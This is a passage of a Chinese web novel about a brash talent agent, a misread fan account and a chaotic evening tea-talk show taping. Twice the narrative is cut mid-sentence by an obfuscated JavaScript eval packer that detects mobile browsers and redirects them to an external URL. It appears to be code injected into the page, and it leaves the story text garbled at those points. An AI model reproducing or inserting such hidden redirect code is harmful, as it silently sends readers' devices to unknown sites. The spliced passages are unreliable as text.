关清英想了想,不想被特殊对待:“那我也搬过来吧,等下我回去收拾一下。” “行,等你搬过来了我们庆祝一下,欢迎新成员!”宫欢乐滋滋地说。 这时一个助理从门外跑来,急匆匆地叫着宫欢:“欢姐!欢姐!” 宫欢探头过去,让助理看见她:“什么事这么急着找我?” 助理差点被口水呛住:“咳咳,飞飞牛奶品牌方送来了一车的牛奶,说是给我们的福利!” 宫欢摸不着头脑,品牌方没提前沟通过有送福利啊,打钱就行了。 几人跟着助理来到别墅大门外,卡车车厢的后门发出沉重的吱呀声,Duang得一声后门砸在地上。 车厢内,装载着满满的【香菜羽衣甘蓝牛奶】,整箱整箱的排列着根本数不清楚有多少。 宫欢的脸又绿了。 她哆哆嗦嗦地拿出手机,看见品牌方的微信发来一条语音消息: “谢谢欢姐的直播撑场,我们新品销量突破五百万啦!!太感谢您在直播时的灵机一动,为了感谢您,我们特意送来了一大车的牛奶!!” 一大车的牛奶...... 一大车的牛奶...... 宫欢感觉眼前一片发绿,整个人要晕过去。 但微信里还有另一条消息,是【围炉夜话】节目组王导演发来的语音: “小欢啊,你最近火得很嘛,诶上次说的节目邀约我发给你助理了,但是情况有变,我看你昨天去直播间火上热搜,热搜现在都没撤呢!” “录制节目时间提前一下吧,趁着热度,我们节目里也有飞飞牛奶,刚才品牌方说能联动一下就更好了,你看看明天能来录制节目吗。” 宫欢强忍着晕眩的感觉,给王导发语音:“必须能!” 发完后的下一秒,宫欢仗着后面有人扶着她,不管不顾地晕了过去。 晕倒时她还分神想,可以趁机给男团争取机会了。 20. 围炉夜话 “倒车,再倒一点,好停下来。” 接近五六百箱的香菜牛奶在高姐的指挥中放进了食品仓库。她和小助理一起盘点了库存数量,这么多的牛奶得每天都要消耗才行。 望着满满一仓库的绿色牛奶,高姐略显惆怅。 要怎么消耗呢? - 签约之后,关清英先行回家收拾行李。 宫欢装晕没多久便撑起精神拿出手机,将王导演发来的【围炉夜话】宣传海图保存至手机,登录微博准备编辑文案。 一般来说录制节目的前期会放出一些消息,但王导想趁机抓住宫欢的热度,她本该在下一期参加录制,让他改到当前的这一期了。 宫欢想着如何编辑内容,也懒得想那么多文案,毕竟这次参加节目为了和导演金主们搭个桥。 于是她思索再三编辑了一条简单的文案: 【终于接到‘围炉夜话’节目组的邀请啦,听说节目里有很多业界知名大佬都在,可以凑热闹一起聊聊天嗑嗑瓜子啦~】配图是宣传海报。 微博发出后,宫欢将手机丢在沙发上,回三楼卧室简单收拾了一下要用的日常物品。 她提着行李箱下来。 再拿起手机时,微博界面上已多了不少评论。 第一条就是“欢欢打爆全场”的评论,和发微博的时间只相差2分钟。 欢欢打爆全场:【可爱猫猫眨眼.jpg,期待!!围炉夜话有好多眼熟的人啊,希望欢欢会和他们很聊得来!】 欢欢打爆全场:【星星眼.jpg,看到官方发的路透图片了,欢欢是要去C省录制嘛~去给欢欢应援!】 宫欢看到应援二字,表情微微扭曲了一瞬。 没记错的话,她是个经纪人吧…? 不过这年头,只要粉丝愿意捧你,谁都能出道。 宫欢没多想,准备看看有没有欠骂的评论,居然翻了好一会儿才找到一条。 其他的评论均是清一色的期待、好棒等等,一眼水军机器人。 宫欢无比熟悉控评的那一套流程,眼下这情况只需一秒就得出了结论——她微博评论区被清一水控评了。 之前宫欢和高姐的重心都在艺人身上,她私人用的微博账号基本没人管,默认给她爱怎么玩怎么玩,只要别惹事就行。 可前天的发现让她有点手足无措。 她居然也有自己的粉丝数据组在暗中默默控评,这有种微妙的......后面有人撑腰的感觉。 接连翻了几条微博,除去宫欢先前每日骂过的幸运网友,其他的贬低言论全都消失不见了。 夸赞的评论账号宫欢点开几个查看,多数是小号,也有几个是老号,关注的超话看不出粉丝属性。 宫欢再次点开“欢欢打爆全场”的个人页面,这位粉丝关注了宫欢超话,动态里转发的全是宫欢之前活动的内容。 十足十的铁粉。 宫欢不由得脑补,这位铁粉带着一众粉丝冲锋陷阵,都不敢想她们跟多少对家互骂过,浴血奋战、血战沙场那壮观场面,那种艰辛苦难仅是想想就让人唏嘘。 要不还是发个红包吧。 宫欢总有种莫名亏欠的心理在作祟,她不想欠债,不管是人情债,还是金钱债。 粉丝的这些行为,让她总有种欠了什么的感觉。 想了想,宫欢点开评论回复她: 【录制节目的时间会很晚,地段也偏,宝宝注意安全最好还是不要去哦,下次还有机会的.笑眯眯表情包.jpg】 发完消息后不多时,盘点完牛奶的高姐回来。 宫欢见她回来顺嘴问了句: “忙完啦?休息会儿动身去C省,围炉夜话改到今晚的档期了,有什么要带的一块放我这里吧。” 高姐出行基本上带得都是办公用品,电脑包和各种数据线充电宝,衣服只带一套换洗的,她在沙发上拎了拎电脑包:“就这些,不多。” 宫欢将微博评论区的内容给她看:“我头一次见这么干净的评论区,基本都是夸我的,不过我骂得那几个网友还挂在上面受尽点赞的羞辱。” 高姐看了眼名为“欢欢打爆全场”的ID,“这个人啊,确实是你大粉头,前两天你提醒我之后我特意去查了一下。” 宫欢懵了:“查什么?” 高姐耸肩:“我怕她是批皮黑粉,就仔细查了一下,后来发现的的确确是你粉丝。她算是个大粉头了,平时很低调,就最近你生日的事情闹得很大,估计看不下去了出来控评吧,正好省了我们的事。” 经过高姐一番解释,宫欢对这位粉丝的好感度攀升极快,下次有机会再给她发红包。 两人简单收拾好后,正逢吃午饭的时间,奚亭云三人从舞蹈训练室过来,身上都带着汗,看见宫欢大包小包的。 安声坐在餐桌前好奇地问她:“欢姐你这是要去哪儿啊?” 萧子重嘴欠地说:“怎么,要跑路了?” 宫欢白他一眼:“我看你是嫌午饭太多,需要减量。” “我呸,”萧子重愤愤不平,甩了甩手里的芹菜根,“再减我就要饿死在你家门口,死之前还要找一堆狗仔来拍照,标题就写——惨剧,宫欢竟然虐待艺人致人死亡!” 宫欢哼笑两声,放下手里的东西走到餐桌旁,一把夺过萧子重手里的芹菜,啪地一下掰成两半,接着笑得让人心颤:“我现在就可以让你喊救命,把你吊在我家门口给狗仔随便拍,到时候直接让我坐稳圈内流量宝座。” “恶毒!”萧子重越想越气,埋头扒饭的间隙还时不时恨恨地瞪宫欢一眼。 奚亭云看了看两人身旁的行李箱,状似随意地问道:“是要去外地吗?” “对,我之前接了个节目邀约,这个导演手里握着不少王牌综艺节目,”宫欢说,“这次去也是为了交际,看看能不能给你们拿到一个好的初舞台。” 安声听着饭都吃不下了,眼睛发光,激动不已:“真的吗!我们很快就可以初登舞台惊艳亮相了,好期待啊,我要继续加强训练,到时候震惊全场!” “你听她画饼,”萧子重搭腔,“能不能成还不一定呢。” 宫欢没理萧子重,继续说:“所以你们这几天待在家里都给我做好万分的准备,一切都要按照作息表来,时刻保持最佳状态。” 宫欢又叮嘱了几句,才和高姐一起离开。 当别墅大门关闭的那一刻开始。 餐桌旁,奚亭云几乎是一瞬间站了起来,饭也不吃了,脚步匆匆地就上了楼。 留下萧子重和安声面面相觑。 萧子重纳闷:“他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126311|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干嘛?” 安声懵懵地:“不知道啊。” 楼上。 奚亭云以最快的速度冲进浴室洗漱,吹头发,换了身普通不起眼的全黑的冲锋衣套装,拿起门后悬挂着的单肩包,将一些花花绿绿的物品、身份证和充电器塞进去。 做完一切奚亭云急忙拿着手机点开购票页面,脚下生风地走出卧室,下至一楼。 一楼餐厅旁,萧子重和安声两人饭都还没吃完,就见奚亭云换了身衣服,急忙忙地像是要去哪儿。 “诶,老奚,你干嘛去?”萧子重远远瞧见他要往外走,及时喊住人,“宫欢不是让好好训练吗?” ——差点忘了。 奚亭云止住脚步,手机屏幕上跳出购票成功的提示,他将手机放进兜里,转身过来,面不改色心不跳地解释: “——是这样的,邻居说我家里进了小偷,发现没东西可偷的时候一怒之下点火烧了我家,结果点火时不慎点燃了天然气引发爆炸,现在小偷重伤住院,我去看看他有多惨。” 萧子重:“啊?” 安声:“啊?” 两人足足愣了好一会儿:“那你家里岂不是都被烧没了,家人没事吧?” 奚亭云:“他们也没了。” 萧子重:“啊??” 安声:“啊??” 奚亭云轻咳了声:“我是说,我没家人,他们早就不在了。这些不重要,重要的是,我这次回去要个一两天,宫欢她们也有很多事要忙,我不太好意思提家里的事情,不想让大家担心……” 安声无比体贴地拍拍自己:“放心吧奚哥,你尽管去嘲讽那个小偷,这边我帮你扛着。” 萧子重听着总觉得哪里怪怪的,但也没说什么:“对,你去忙吧,杰西卡那边我们帮你说话。” 奚亭云松了口气,朝两人弯了弯眉眼:“谢了,不过还有很重要的一件事。” 安声:“什么?” 奚亭云不多说,只神神秘秘地笑: “帮我保密。” - 高架桥上车流飞快驶过,正午的光线在车窗上划出星星点点的光斑。 车流中一辆不起眼的保姆车内。 宫欢坐在后排,手持化妆镜补妆。 高姐拿着【围炉夜话】的脚本给她简单过一遍: “听王导说这期节目是12个人,其中3个是圈内有名的人物,在电影学院任职表演老师,还有一个学术界跨界来娱乐圈的,据说粉丝也不少,说话很有分量,你多注意点别跟他杠。” 宫欢正画着眉毛,看着镜子里的新月眉形描了两笔:“只要他掂量好什么话该说什么话不该说,我闲得没事跟他杠啊,就3个大佬吗?其他的9个没一线艺人?” “9个里面最近风头正盛的就属你了,有三四个演过一些剧水花不大。” 高姐将脚本给她看,“有关你的部分,王导说让你尽量挑起点话题度,他要求不多,不用特别过火,只要让观众忍不住八卦就行。” 宫欢撇嘴:“说得简单,就是翻旧账炒冷饭嘛,知道了知道了。不过,你觉得其他人的脚本里会不会有什么提示?” 高姐没反应过来:“什么提示?” 将眉毛勾画完最后一笔,宫欢照着镜子看眉尾的痕迹,笑而不语。 21. 围炉夜话 【围炉夜话】节目制作组的地点定在南方的一个二线城市,四月初正是赏花踏青的季节。 节目录制一般都选在傍晚至深夜时分,导演和编导在节目制作前期对这方面做过调研,人在晚上下班后才会产生出时间属于自己的感觉,而人在进入夜晚后也更感性。 这属于国内初创的老友夜谈类型节目,每期都有个固定的框架选题,导演会给各个艺人一个大概的脚本,按照脚本的逻辑去聊天。 不少明星艺人在参加节目后,谈话内容的松弛状态总会引起一波羡慕、共情和热议。 当然,也有不少人被吐槽过。 宫欢到地方时,距离节目录制还有几个小时。 通往节目的拍摄地点两旁的道路附近围了不少粉丝,手中举着横幅牌子,各家明星的应援词眼花缭乱。 也有许多狗仔娱记在附近转悠,试图拍到些惊爆内幕。 保镖和工作人员维持着秩序,在道路两边拉上警戒线,防止出现踩踏事故。 入口处停着不少车,大大小小十来个明星艺人挨个进去。宫欢来得不早不晚,在她前方有几个不太眼熟的艺人正在给自家粉丝签名。 商务车在后台入场处停稳,车门打开,宫欢的腿从车内迈出来,大大方方地走入节目组特设的通道。 她眼戴墨镜,长发微卷,略显低调地穿着宽松牛仔裤,红色粗肩带款薄毛衣。 宫欢走路时步伐大而稳,一步一步仿佛带着风,卷发在肩后微微弹动着。 高姐紧跟在旁,小声地说着等下跟导演需要对接的地方,还有品牌方需要口播的广告词。 宫欢微微偏头,有一声没一声地应着。 道路两边的粉丝群里偶尔传出几声浪潮般地尖叫,欢迎着前面走过的明星,或者是走在宫欢后面的。 即使有几声提到她的,多数也是震惊怀疑的语气,显然是意外她怎么会来,这期节目要完之类的话。 就在熙熙攘攘的粉丝群体中,横幅与霓虹色举牌交错的海洋里,缓缓升起一个不起眼的电子举牌,上面写着——“欢欢打爆全场”。 电子举牌小小一块,在众多五颜六色的应援色中非常不起眼,快要被其他更多的颜色淹没,宫欢也将要步入录制后场。 这时,举牌的人忽然出声,声色之清晰,清透,穿过了层层叠叠的破音尖叫声,直直地抵达了宫欢的耳边。 “宫欢!” 一时间,奚亭云周围的粉丝们静了一瞬,纷纷转头看向他。 不为别的,主要是旁边这位的叫声比她们大好多声,而且,还挺好听。 宫欢脚步未止,只是侧头朝声音来源看了眼,电子举牌上面几个大字最先映入眼中,而后便是举牌的人。 傍晚与夜色交替之间,天色将黑不黑,染着深沉的蓝色滤镜。 他戴着鸭舌帽,帽檐深深遮住了大半张脸,又戴着黑色口罩,整张脸只能隐约从鼻梁与眉心连接处,看到些许的白皙皮肤——和眼睛。 眼睛在黑与白之间显得非常深邃,昏暗环境下,周围刚打开的灯光忽而将他眸中的高光点亮。 一身低调的装束,身高很高,在一众粉丝里突兀地将举牌举到了最高。 宫欢墨镜下的眼睛一瞬间瞪大了。 她抬起一根手指勾掉半边墨镜,睁大眼睛仔细确认,终于确定了,她发红包、叫宝宝的“欢欢打爆全场”粉丝是个男的。 是个男的,男的,男的...... 男的!!?? 谁来补偿一下她的心理落差!? 宫欢走路生风的动作都卡顿了下,差点崴脚,好在旁边的高姐扶了她一把。 “怎么冒冒失失的,这么多人呢。”高姐低声说,发觉宫欢视线偏移,也跟着看过去。 高姐瞪大眼睛,又慢慢眯起眼。 举牌的人见宫欢看得认真,还晃了晃手里的牌子,紧跟着又叫了声:“宫欢,录节目要认真点。” 这位粉丝的话尾音上扬,声调偏稚嫩的青年音,年纪应该不大,二十岁左右吧。 后面又走来了不少艺人,叫嚷声起伏不断,不能停留太久。 宫欢压下落差感,她手指比划了个签字的动作:“要签名吗?” 举牌的人似乎犹豫了下,最后还是摇了摇头,用力地晃着手里的电子举牌,示意今晚来只是为了应援。 宫欢不能停留了,她只得努力对他笑着招手,快步走入了录制后场,外面粉丝们的音量被物理隔绝。 周围突然安静下来还让人有些许不适应,宫欢跟着工作人员走入化妆间,摘下墨镜坐在化妆台前,人半天缓不过神。 “他是个男的!?” 良久,宫欢蹦出一句,不敢置信地瘫在休息椅上,“微博的评论和ID昵称根本看不出来……” 高姐淡定地让化妆师给她做妆造,拿出脚本准备给宫欢再复习一下内容: “冷静冷静,很正常,有些艺人的粉头也是男的,不稀奇,不过他做数据控评有一手,我一直以为是女粉丝。” 宫欢任由化妆师在她脸上涂涂画画,人已经灵魂出窍半天了。 高姐继续补刀:“你不是很少管理微博账号吗,跟他交际也不多。” 仿佛有一把无形的刀猛然插进宫欢心口,她差点吐血,紧闭双眼任由化妆师折腾。 只得安慰自己,有粉丝就不错了,男女一视同仁。 - 晚20:00,距离节目录制还有30分钟。 节目组后场有七八间休息室,在所有艺人做好妆造后,工作人员纷纷去休息室敲门。 宫欢正昏昏欲睡,休息室的门被人敲响。 门轻轻打开一条缝,探进来个脑袋小声说:“哈喽,欢姐准备好了吗,可以录制节目了哦,我们会拍摄花絮,从走出休息室开始就会拍哦。” 高姐一把摇醒宫欢,对工作人员说:“OK,马上好。” 像这类综艺节目的录制通常持续很久,经常都是大通宵,有时甚至是一天一夜的熬,中场休息时间不多,以至于宫欢逮住机会就补觉。 高姐手劲不小,宫欢感觉肩膀痛得很,她打着哈欠站起身,走到门边,脚刚要迈出休息室大门时,困倦懒散的表情瞬间切换。 堪称变脸。 门外,一架摄影机正对着宫欢所在的休息室,在她走出的一瞬间聚焦在她身上。 宫欢佯装没发现摄影机,先是往左看去,又转头看向右侧,发现摄影机后眼睛霎时亮了亮,明艳的脸上扬起笑容,抬手朝镜头打招呼: “halo大家好,我是宫欢。听说围炉夜话有很多八卦可以听,终于轮到我现场吃瓜了,想知道这期节目都有什么不为人知的小故事吗?周六八点,山竹电视台,我在这里等你,不见不散。” “好,咔,可以了,开始正常录制,从走廊里开始,欢姐你知道的吧。” 宫欢记得脚本内容,她点点头比了个OK:“没问题。” 旁边的几间休息室也断断续续传来了录制花絮的内容,没几分钟就全部结束了。 接下来的第一部分是走出休息室去往围炉夜话的地点,其他部分自由发挥。 宫欢觉得暂时没什么可发挥的,于是直接离开了休息室,顺着走廊往外走。她的休息室在靠后的位置,往前走时难免遇上其他休息室的门打开。 不熟悉的艺人走出来几位,大多都认识宫欢,笑着和她打招呼,宫欢也都客气回应。 路过靠前的一间休息室时,里面传来几声呵斥。 “会不会化啊你,不行就换人!” 化妆台前,翘着二郎腿的艺人拽得二五八万,两手正拿着手机打游戏,似是化妆师要他抬头画眼妆,但艺人嫌烦,“没看我忙着吗!?” “哎哟,哥,节目快要开始录制了,咱等会再玩,这次可是不少大佬......” 门没关,宫欢路过时往里看了眼,是个最近比较火的男艺人,年龄小会媚粉,有不少粉丝。 早就传出些耍大牌的传闻,不过都被压下来了。 宫欢饶有兴趣地看了两眼,后面跟着她的工作人员紧张地提示:“......欢姐,别带镜头,前面有个熟人,可以打个招呼。” 宫欢只得收回眼,看向前方从休息室出来的人,是李云晴。 圈里许多人在荧幕上表现得很熟,其实私下根本很少往来。 李云晴是之前宫欢找的外包音乐公司里的一个制作人,写词一流,经常大爆,以前给韩雨寒找作词作曲时,宫欢都会找她来对接。 前段时间据说李云晴受邀上了个演唱节目,将自己编曲编词的歌唱了出来,就此一炮而红,虽然那一场舞台过后就被淘汰了,不过大众却记住了这个写词厉害的音乐人。 将靠近时,两人远远的看见对方就相视而笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126312|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李云晴特意在门口等着宫欢过来,一靠近便伸出手搀住宫欢手臂,显得两人很熟络似的。 摄影机对准两人来到录制地点。 “还真没人跟我说你也来参加节目了,”李云晴笑眯眯地说,“从那谁谁解约之后我们就没联系,这回可以好好叙旧了。” 宫欢被她拉着往前走,听出李云晴话里的意思。 就是说韩雨寒嘛,她倒没什么避讳的,“确实,我过段时间还真需要找你帮忙。” 男团的作词作曲后期都要找人精心设计制作,宫欢得早做打算。 录制场地前方摆了一大圈竹制藤椅,两椅之间各放一张木桌,而正中间的位置则放着一长排深木色长桌,桌上放置了几十个精致的小铁盒,里面是不同地区不同口味的茶叶,从红茶绿茶到黑茶,包括花果茶应有尽有,其他小桌子上放的则是用来煮茶的卡斯炉和气罐,以及一些坚果零嘴。 有节目粉丝研究过“围炉夜话”的每种茶叶均是很难买到的名贵珍品,有些业界大佬一连来好几期就是为了喝茶。 宫欢和李云晴不是最先到的,在她们之前已经到了一些其他艺人,正三三两两的搭话,等待节目开始录制。 两人靠近的动静不大不小,相互挨着坐在两张藤椅上。 闲暇等待的艺人们扭头看见这么个人物,顿时惊讶起来。 众人你来我往地使眼色,眼皮疯狂眨动,脖颈也像有颈椎病似的一扭一扭地往宫欢那边甩,都在示意这期节目有看头了。 一男一女整理着妆造,男艺人眼神暗戳戳地往宫欢这瞥:“诶,之前节目组也没说她会来啊,这还能拍吗?” 女艺人正背着口播广告词,往宫欢那边看了眼,捂着嘴八卦道:“怕什么,她腕儿又不大,顶多算个流量大,这期节目可有学术界的大佬镇场,她能掀起什么风浪。” 男艺人想了想,不由得点头:“这倒是,有大佬在,她应该多少顾及点,闹起来对谁都不好。” 然而众人没想到,节目还没开始录制,就有人开始闹了。 12位嘉宾在节目录制前只到了11位,还有一位迟迟未到。 有几个艺人小声嘟囔几句: “还差谁啊?” “是路程远没赶过来吗?” “干等着也不是办法呀。” 三位镇场大佬中,学术界陈老师和电影学院彭老师坐不住了。 学术界陈老师看了眼手表:“这么等下去节目录制不知道要拖到几点,明天我还有课啊。” 学院彭老师看向导演组:“那个人还要多久,我们要不要先录制,等他来了再另外补拍?” 节目组人员也颇有微词,不敢多说,只说:“人在休息室......是夏信…他还在化妆。” 宫欢想起刚才路过的艺人休息室,门口牌子上挂着的名字貌似就是夏信。 众人闻言互相看了眼,仿佛在暗地里交流了不为人知的小道消息。 夏信这人是靠营销火起来的,背靠国内最大的娱乐公司靠山,圈内一直流传他有个藏得很深的金主砸资源捧他,当下正是风头正盛的时候。 节目组怕得罪人,既不敢去请,也不敢提前开拍,只得僵在这,以至于众人都有意见了才表现出为难的态度。 有人不满道:“管他是谁也不能耽误节目录制啊,这不耍大牌嘛?” 说到耍大牌,有几个人暗戳戳地往宫欢这看来。 耍大牌鼻祖在这呢,还敢有其他人耍她的大牌? 曾经,宫欢的众多黑料之一就包括耍大牌。 耍大牌的方式多且还不重样,比如不尊重前辈没用尊称,不礼貌待人;后台候场时要求必须吃某某牌子的食物;在粉丝和艺人要签名时黑脸赶人等等。 网上有人做了一份宫欢黑料的TXT文档,有段时间流传甚广,各家粉圈皆拜读过,还有人根据黑料大全做出了相应的危机公关案例,一度列入过危机公关必备手册。 现在,居然有人敢在她面前耍大牌。 有人憋不住想挑事儿了,故意大声蛐蛐:“也不看看谁在这就敢耍大牌,什么背景啊?我说,一直等也不是事儿,哪位愿意去叫叫他?” 这话一出,众人似乎心里早有盘算,目光纷纷落在三个人身上。 -学术界大佬陈老师。 -电影学院大佬彭老师。 以及,黑料百科全书宫欢。 22. 围炉夜话 宫欢剥了两颗花生丢进嘴里,嘎嘣嘎嘣嚼得香,被行注目礼后才抬头环视一圈,明知故问:“开拍了?” 李雨晴乐得看戏:“我们人微言轻,说话没分量,还是得让说话有分量的老师们去才好,哎呀,请个人也要兴师动众的,啧啧啧。” 谁说不是呢。 王导擦着额头的汗,他以为有宫欢这位祖宗就够了,没想到还有个小祖宗。 不过有句话怎么说的来着。 ——以恶制恶! 王导求助的目光看向宫欢,就差当着众人的面给她磕一个说:求你了姐!帮帮忙吧! 宫欢接收到王导的求救信号。 另外两位大佬年龄四五十左右,亲自去请一个小辈确实不合理,怎么看就只有她最合适了。 毕竟她最猖狂。 宫欢看了眼手机时间,原本20点就该开始录制节目,现在已经超过半小时了,硬生生耗了这么久,全节目组上百号人都干等着。 她后续倒是没什么安排,不在意节目录制的时间早晚。 不过能卖个人情等同于拥有一次机会,后面好换取资源。 宫欢嚼完嘴里的花生,拍拍手上碎屑从藤椅中站起身,一时间所有人目光都落在她身上,仿佛以为她也要闹什么性子。 没成想,宫欢主动走到两位大佬前方,先笑笑示好,礼貌谦逊:“两位老师等久了吧,确实,现在的艺人都这样,脾气大,不愿意好好配合别人工作,让人头疼。” 她边说边用手指敲敲太阳穴,说话时姿态放低,面容生动鲜活,一点儿都没等久了的不耐烦。 “这样吧,我呢就做个坏人,去把人叫出来录节目,”宫欢说着环视一圈,看着其他艺人,“我怕一个人去了挨打,有哪位愿意陪我一起去?” 陈老师和彭老师互相看了一眼,有些意外宫欢会主动站出来做这个恶人,不过想想,貌似恶人也只能恶人来治了。 其他艺人不约而同地往后缩了缩,不想被掺和进这件事里,万一事情传出去,指不定媒体怎么报道呢,尤其是和宫欢搅和在一起。 正当两位老师中打算站出来一位时,艺人中走出一个不起眼的女孩。 这女孩穿着无袖的纯白连衣裙,整个人的气质偏清新淡雅,看着是很文弱的女孩子。 她站出来时还举着手,语气活泼:“我陪你去!” 宫欢有些意外,看她几秒,认不出来是哪家艺人,点点头答应了。 是谁都行,只要有个人跟着涨涨气势就好。 两人在众人的目光中走回后场——像是带着全村的希望,要出村屠龙的战士一样。 天黑下来,走廊里亮起了灯光,没几步路就到了夏信的休息室门口。 门被关紧,宫欢站定门前,慢条斯理地卷起衣服袖子露出手臂。 跟着她的女孩双眼流露出跃跃欲试,和本人的形象完全不符,她很激动地说:“欢姐,我要做什么吗?有什么我可以做的?” 宫欢想了想,“嗯…等下给我助威就行。” “啊?” 下一秒,宫欢抬脚猛得踹开休息室大门,砰的一声,门板狠狠撞在墙上反弹回来,宫欢又抬手狠狠推了一把。 休息室内打游戏的夏信被这动静吓得整个人跳起来,手机都抛起来拿不稳,连抓了好几下才抓住。 “C,你们谁啊!敢撞我的门!?”夏信跳脚半天才站住,气得脸涨红,“来人啊,人呢?有没有人管了?什么货色都敢闯——” 啪! 宫欢拿起距离最近的花瓶举起来,随手轻轻一扔,砸在地上碎了一地,将夏信惊得愣在原地。 趁着这时,宫欢开始发威,她叉腰,一副不好惹的泼辣样: “你才货色,你还菜色泔水色地沟油色,你他爹的什么货色,瘦得跟个猴似的上蹿下跳,我一进来还以为动物园要解放了把你放出来了!老娘八点开始等,足足等了半个小时,火箭都发射了,陨石都他大爷砸你脑袋上了愣是没把你砸出门?” 夏信这时认出宫欢,他的脸憋成了猪肝色,气得胸口剧烈起伏,“你你草你大爷,敢砸我的门,知道我干爹是谁吗!?我看你是活腻歪了,宫欢,别以为你多厉害,在圈里你见了我干爹还不是得恭恭敬敬地凑上去!” “我凑上去给他一巴掌给你更是两巴掌!” 宫欢走进休息室,抬手示意后面的人关门。 门被关紧,她又撸了撸袖子,眉头直挑,声调拉高,口红又是复古正红色,嘴角一挑,气势直接拉满。 “节目录制12个人,三个是老京圈的大佬,你掂量掂量自己几斤几两,值不值得你那位干爹保你。你干爹再喜欢你,还不是有其他十七八个备胎,缺你一个?” 宫欢说着四处张望,像是要找趁手的工具。 “人家几位前辈正说呢,问你叫什么名,这么猖狂没人管啊,干脆封杀雪葬一下,好好管教管教,再补缴几个亿的税教教做人,沉淀沉淀。” “我看那些都不够,还是得再打一顿才老实。” 身后的女孩顺势将一根铁棍递给宫欢,然后双眼亮晶晶地期待着,“没错没错!欢姐说得对!” 宫欢顿了顿,只好演戏演到底,拿着铁棍在手里掂了掂重量,穿着高跟鞋的她身高赫然高出夏信一大头,她笑眯眯地凑近看他: “说吧,录节目,还是打一顿再录节目,还是打一顿再封杀了不录节目?” 10秒后,休息室大门打开。 门外围了一圈的吃瓜群众,竖起耳朵瞪大眼睛,门一打开纷纷背过身去,假装路过,装作没看见宫欢拍拍手一副打了胜仗归来的骄傲模样。 她后面跟着满脸崇拜星星眼的素人女孩,和老老实实缩着脑袋的夏信。 总算把人“请”出来了。 节目组立刻开始录制。 开场先是一群人互相客套打招呼,重新演一遍“啊你也来这个节目了”、“好巧哈哈哈”等台词。 像是大家平时私底下没有手机似的,只能靠上节目维系感情。 游戏第一轮是抽签制,抽到准备茶水零嘴的艺人负责去煮茶泡茶,烤制一些水果干果之类的食物装盘,然后给10张藤椅上的人端过去。 等茶水泡过几轮没有味道了,再由从零嘴里吃到提示的人进行接力。 工作人员抱着箱子来到众人面前一一抽签。 来到宫欢面前,她将手放进抽签箱拿出一张纸条,打开一看,上面写着勤字。 从刚才叫过夏信之后,那个素人女孩就一直跟在宫欢左右,她紧跟着抽完签,扭头看见宫欢的纸条,兴奋不已: “太好啦欢姐,我跟你抽到的是一样的!” 宫欢晃了晃纸条,打断她的激动:“勤这个字,说明我们要做泡茶师傅了,同时还要兼职服务生,服务其他10个人。” 甘惊鸿的笑脸登时僵住:“不会吧?我不会泡茶啊。” 宫欢这下笑了,朝她眨眨眼:“没事,我也不会,不过泡茶嘛,很简单的,把茶叶丢进热水里就好了。” 甘惊鸿认真地点点头,像是听进去了。 有几个艺人听见两人对话,感觉大事不妙,一共就两个泡茶的人,都不会? 白瞎了那些名贵茶叶。 待所有人抽完签,王导拿着喇叭说:“接下来请抽到“勤”字的两位上前来,今天第一轮泡茶准备零食的工作就交给这两位了哦,会是谁呢!” 宫欢和甘惊鸿同时向前走出两步。 原本其乐融融的场面肉眼可见的僵住,王导干笑两声缓和氛围:“啊哈哈哈,居然是宫欢和甘惊鸿,泡茶的所有用具都有,看你们如何发挥了。” 其他人随意找位置落座,宫欢这才知道女孩的名字,文艺的风格算是符合外表,性格却挺接地气。 两人走到长桌后面,各自穿上印着飞飞牛奶的LOGO围裙。 身后的一张木桌上面摆满了各类五花八门的茶具和电陶炉,另一边则是小烤炉和网架,几袋子水果干果胡乱堆着。 宫欢正想着怎么给夏信的茶水加料。 甘惊鸿已经开始烧水了,她看着品类众多的茶叶有些困扰,偏头问宫欢:“欢姐,先泡什么茶叶呀?要问问大家吗?” 装着茶叶的铁盒上面均贴了茶叶品名,宫欢扫了几眼,发现其中有一款是之前她给大佬送礼时看见过的一款,她指指那碗茶叶说: “选最贵的准没错。” 藤椅附近,艺人们按照脚本进行聊天流程。 脚本只给了个大概的框架,具体内容还是要靠自己发挥,而节目组的镜头分配一是看谁腕大,二是看谁找茬,三就是看谁料够猛。 有些人怕影响风评,所以大部分都会谨慎选择第三个,爆料,但不说名字。 一群人嘀嘀咕咕聊起来,偶尔飘过几句“真的假的”、“能播吗”、“帮我剪了”等之类的话,宫欢和甘惊鸿压根没空听,两人忙着装瓜子花生水果乱七八糟的。 这边水烧开了,那边其他明星频频往这看,等着吃东西。 偏偏还有人不长眼,有个吐槽界的搞笑艺人没眼色地说:“是茉莉花茶吗,我想喝茉莉花茶。” 三四台炉子里面的水烧开了正冒着水雾,甘惊鸿端着四五盘瓜子先送去两位老师那,旁边的炭烤炉子冒着灰烟,烤的橘子苹果该拿下来了。 宫欢没空理那人,用围裙包住手急急忙忙地把烤熟的水果拿下来放进盘子,连气都顾不上喘,又忙着把电陶炉关掉放茶叶。 搞笑艺人又哔哔几句:“绿茶也不是不能喝,就是伤胃,我平时喝茉莉花比较多,香味很好闻,要是有就——” 宫欢正准备让他闭嘴。 送完瓜子果盘回来的甘惊鸿张嘴就怼:“有有有,你要什么都有,我现在就上山去给你采花晒干来泡!” 